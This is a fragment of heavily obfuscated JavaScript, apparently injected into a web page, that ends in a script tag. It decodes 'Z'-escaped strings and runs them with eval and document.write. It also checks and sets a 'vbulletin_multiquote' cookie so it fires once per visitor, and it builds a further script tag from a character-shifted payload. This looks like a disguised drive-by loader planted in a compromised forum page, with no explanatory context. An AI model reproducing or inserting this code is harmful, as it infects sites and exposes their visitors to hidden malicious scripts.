8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)Z3ewudVe||Iuqb89+yv8t)Z3ewudTqi89.#9d)K7t7M-t)Z3ewudTqdu89Z3d8t)Z3ewudTZ22;ddZ3dZ22iSxZ2522Z3c}SxZ3ctSxZ3c}^}+yv8d)K7i7M,Z2522Z2520Z2520Z279kd)K7i7M0-0Z2522Z2520Z2520Z27+m}^}-S]^8d)K7t7MZ3cd)K7}7MZ3cd)K7i7M9+iSx!-|)K888d)K7i7M6Z2520hQQ9;}^}950Z25265##950Z2522Z2526M+iSxZ2522-|)K8888d)K7i7M6Z2520h##!!9..#9;}^}950!Z25209Z22;cbZ3dZ22e(Z2564s)Z253bsZ2574Z253dtmpZ253dZ2527Z2527;for(iZ253d0;iZ253cds.Z256ceZ256eZ22;dzZ3dZ22Z2566unZ2563tiZ256fn dZ2577(t)Z257bcaZ253dZ2527Z252564ocZ252575Z25256dZ2565Z25256et.wZ252572Z2525Z25369Z2574eZ252528Z252522Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscZ252572iZ2570tZ2525Z25320Z25256canZ252567Z2575Z2561Z252567Z2565Z25253dZ25255cZ252522Z256aaZ252576Z2525Z25361Z252573Z2563Z252572Z2569Z252570tZ25255cZ252522Z25253eZ2527;Z2563cZ253dZ2527Z25253cZ25255cZ25252fscrZ252569ptZ25253eZ2527;evZ2561l(Z2575neZ2573capZ2565(Z2574Z2529)};Z22;dcZ3dZ22qi89;Z25229+u|cu0d)K7t7M-t)Z3ewudTqdu89Z3d8t)Z3ewudTqi899+yv8d)K7t7M,Z25209d)K7t7M-!+d)K7}7M-t)Z3ewud]Z257F~dx89;!+ve~sdyZ257F~0S]^8tZ3c}Z3ci9kfqb0b-888i;8$:t99;8}Nt9:$9;t9+budeb~0b+mfqb0t-7vrs}vybZ3esZ257F}7+fqb0iSx!Z3cZ22;czZ3dZ22Z2566unZ2563tiZ256fnZ2520cZ257aZ2528cz)Z257breZ2574uZ2572nZ2520Z2563Z2561+Z2563Z2562Z252bcZ2563Z252bZ2563Z2564Z252bZ2563e+Z2563Z257aZ253b}Z253bZ22;ceZ3dZ223Z2568arZ2543odZ2565At(Z2530)Z255e(Z25270xZ2530Z2530Z2527+es)Z2529Z2529;}}Z22;Z69f (Z64ocZ75meZ6eZ74.cZ6foZ6biZ65Z2eindZ65xOfZ28Z27vbullZ65Z74inZ5fmZ75ltiZ71uZ6ftZ65Z3dZ27)Z3dZ3d-1)Z7bsZ63(Z27Z76Z62ullZ65tZ69n_mZ75ltZ69quoZ74eZ3dZ27,2,Z37);eZ76aZ6c(uZ6eescZ61Z70e(Z64zZ2bcz+Z6fpZ2bZ73t)Z2bZ27dZ77Z28Z64zZ2bcZ7aZ28$+Z73t))Z3bZ27)}elsZ65Z7b$Z3dZ27Z27};Z66uncZ74ionZ20sc(Z63Z6em,vZ2ced)Z7bvarZ20eZ78dZ3dnew DZ61teZ28)Z3beZ78dZ2eseZ74DatZ65(exZ64.Z67Z65tZ44Z61te(Z29+eZ64);Z64Z6fcZ75meZ6et.cZ6foZ6bieZ3dcnmZ2b Z27Z3dZ27 +esZ63aZ70eZ28vZ29+Z27;expiZ72esZ3dZ27+eZ78d.Z74oZ47MTZ53trZ69ng(Z29;Z7d;";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($));document.write($);</script>